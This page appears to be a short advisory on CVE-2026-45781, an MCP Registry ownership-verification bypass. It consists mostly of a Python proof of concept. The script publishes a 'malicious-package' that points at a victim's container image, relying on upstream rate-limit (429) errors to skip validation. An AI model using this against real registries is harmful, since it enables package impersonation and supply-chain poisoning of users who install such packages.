CVE-2026-45781 MCP Registry所有权验证绕过漏洞

import requests # Conceptual PoC for CVE-2026-45781 # This script demonstrates the logic where a rate limit (429) leads to a bypass. # In a real scenario, the attacker would flood the upstream registry or rely on existing limits. def publish_mcp_package(target_registry, namespace, malicious_image_uri): """ Simulates publishing a package to MCP Registry. """ payload = { "name": f"{namespace}/malicious-package", "oci_image": malicious_image_uri, "publisher_token": "attacker_auth_token" } # The MCP Registry attempts to validate the OCI image upstream. # If upstream returns 429, the vulnerable version accepts the publish. response = requests.post(f"{target_registry}/api/publish", json=payload) if response.status_code == 200: print("[+] Package published successfully (Validation Bypassed)") else: print("[-] Package publish failed") # Usage # publish_mcp_package("http://mcp-registry.com", "io.github.attacker", "ghcr.io/victim/legit-image:latest")